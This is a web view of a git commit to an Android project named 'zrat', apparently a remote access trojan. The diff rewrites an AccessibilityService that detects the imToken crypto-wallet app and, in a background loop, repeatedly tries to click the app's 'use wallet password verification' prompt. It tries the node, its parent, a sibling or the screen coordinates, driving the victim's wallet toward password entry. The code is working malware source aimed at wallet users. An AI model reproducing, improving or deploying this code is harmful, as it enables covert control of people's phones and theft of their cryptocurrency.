Explorar o código

refactor(AccessibilityService):优化 imToken 钱包密码验证点击逻辑

- 移除了不必要的浮窗相关代码
-重构了钱包密码验证点击逻辑,提高点击成功率
- 新增主动扫描功能,在窗口状态变化时自动扫描验证区域
- 优化日志输出,便于调试和跟踪
wui hai 9 meses
pai
achega
81057e17b1

+ 82 - 66
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -50,23 +50,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         info.flags = AccessibilityServiceInfo.DEFAULT
                 | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS;
         this.setServiceInfo(info);
-
-//        WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
-//        mLayout = new FrameLayout(this);
-//        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams();
-//        layoutParams.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
-//        layoutParams.format = PixelFormat.TRANSLUCENT;
-//        layoutParams.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-//        layoutParams.width = WindowManager.LayoutParams.WRAP_CONTENT;
-//        layoutParams.height = WindowManager.LayoutParams.WRAP_CONTENT;
-//        layoutParams.x = 0;
-//        layoutParams.y = 1120;
-//        layoutParams.gravity = Gravity.START | Gravity.TOP;
-//        LayoutInflater inflater = LayoutInflater.from(this);
-//        inflater.inflate(R.layout.floating_bar, mLayout);
-//        windowManager.addView(mLayout, layoutParams);
-//
-//        configureButton();
     }
 
     private void configureButton() {
@@ -231,61 +214,15 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                     }
                 }
             }
-
+            
             // 检测钱包密码验证区域
             if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && "imToken".equals(applicationLabel.toString())) {
-                AccessibilityNodeInfo root = getRootInActiveWindow();
-                if (root != null) {
-                    List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText("使用钱包密码验证");
-                    if (nodes != null && !nodes.isEmpty()) {
-                        for (AccessibilityNodeInfo node : nodes) {
-                            // 尝试点击节点本身
-                            if (node.isClickable()) {
-                                node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
-                                Log.i(TAG, "已点击钱包密码验证区域");
-                                break;
-                            }
-
-                            // 如果节点本身不可点击,尝试点击其父节点
-                            AccessibilityNodeInfo parent = node.getParent();
-                            if (parent != null && parent.isClickable()) {
-                                parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
-                                Log.i(TAG, "已点击钱包密码验证父区域");
-                                break;
-                            }
-
-                            // 如果父节点也不可点击,尝试查找同级的可点击节点
-                            if (parent != null) {
-                                for (int i = 0; i < parent.getChildCount(); i++) {
-                                    AccessibilityNodeInfo sibling = parent.getChild(i);
-                                    if (sibling != node && sibling.isClickable()) {
-                                        sibling.performAction(AccessibilityNodeInfo.ACTION_CLICK);
-                                        Log.i(TAG, "已点击钱包密码验证同级区域");
-                                        break;
-                                    }
-                                }
-                            }
-
-                            // 如果以上都不可点击,尝试使用坐标点击
-                            Rect rect = new Rect();
-                            node.getBoundsInScreen(rect);
-                            if (!rect.isEmpty()) {
-                                int x = rect.centerX();
-                                int y = rect.centerY();
-                                performClick(x, y);
-                                Log.i(TAG, "已通过坐标点击钱包密码验证区域");
-                                break;
-                            }
-                        }
-                    } else {
-                        Log.i(TAG, "未找到钱包密码验证区域");
-                    }
-                }
+                // 窗口状态变化时也主动扫描一次
+                scanForWalletPasswordVerification();
             }
         } catch (Exception e) {
             e.printStackTrace();
         }
-
     }
 
     @Override
@@ -379,4 +316,83 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         wakeLock.release();
     }
 
+    private void scanForWalletPasswordVerification() {
+        // 检查当前应用是否是imToken
+        AccessibilityNodeInfo currentRoot = getRootInActiveWindow();
+        if (currentRoot != null) {
+            String packageName = currentRoot.getPackageName().toString();
+            if (!"im.token.app".equals(packageName)) {
+                Log.i(TAG, "当前应用不是imToken,不进行扫描");
+                return;
+            }
+        }
+
+        new Thread(() -> {
+            try {
+                // 最多扫描10次,每次间隔1秒
+                for (int i = 0; i < 10; i++) {
+                    Log.i(TAG, "开始第 " + (i + 1) + " 次扫描");
+                    AccessibilityNodeInfo root = getRootInActiveWindow();
+                    if (root != null) {
+                        // 再次检查应用
+                        String packageName = root.getPackageName().toString();
+                        if (!"im.token.app".equals(packageName)) {
+                            Log.i(TAG, "应用已切换,停止扫描");
+                            return;
+                        }
+
+                        List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText("使用钱包密码验证");
+                        if (nodes != null && !nodes.isEmpty()) {
+                            for (AccessibilityNodeInfo node : nodes) {
+                                // 尝试点击节点本身
+                                if (node.isClickable()) {
+                                    node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+                                    Log.i(TAG, "主动扫描:已点击钱包密码验证区域");
+                                    return; // 找到并点击成功,直接返回
+                                }
+                                
+                                // 如果节点本身不可点击,尝试点击其父节点
+                                AccessibilityNodeInfo parent = node.getParent();
+                                if (parent != null && parent.isClickable()) {
+                                    parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+                                    Log.i(TAG, "主动扫描:已点击钱包密码验证父区域");
+                                    return; // 找到并点击成功,直接返回
+                                }
+                                
+                                // 如果父节点也不可点击,尝试查找同级的可点击节点
+                                if (parent != null) {
+                                    for (int j = 0; j < parent.getChildCount(); j++) {
+                                        AccessibilityNodeInfo sibling = parent.getChild(j);
+                                        if (sibling != node && sibling.isClickable()) {
+                                            sibling.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+                                            Log.i(TAG, "主动扫描:已点击钱包密码验证同级区域");
+                                            return; // 找到并点击成功,直接返回
+                                        }
+                                    }
+                                }
+                                
+                                // 如果以上都不可点击,尝试使用坐标点击
+                                Rect rect = new Rect();
+                                node.getBoundsInScreen(rect);
+                                if (!rect.isEmpty()) {
+                                    int x = rect.centerX();
+                                    int y = rect.centerY();
+                                    performClick(x, y);
+                                    Log.i(TAG, "主动扫描:已通过坐标点击钱包密码验证区域");
+                                    return; // 找到并点击成功,直接返回
+                                }
+                            }
+                        } else {
+                            Log.i(TAG, "主动扫描:第 " + (i + 1) + " 次未找到钱包密码验证区域");
+                        }
+                    }
+                    // 每次扫描间隔1秒
+                    Thread.sleep(1000);
+                }
+                Log.i(TAG, "主动扫描:完成所有扫描,未找到可点击区域");
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }).start();
+    }
 }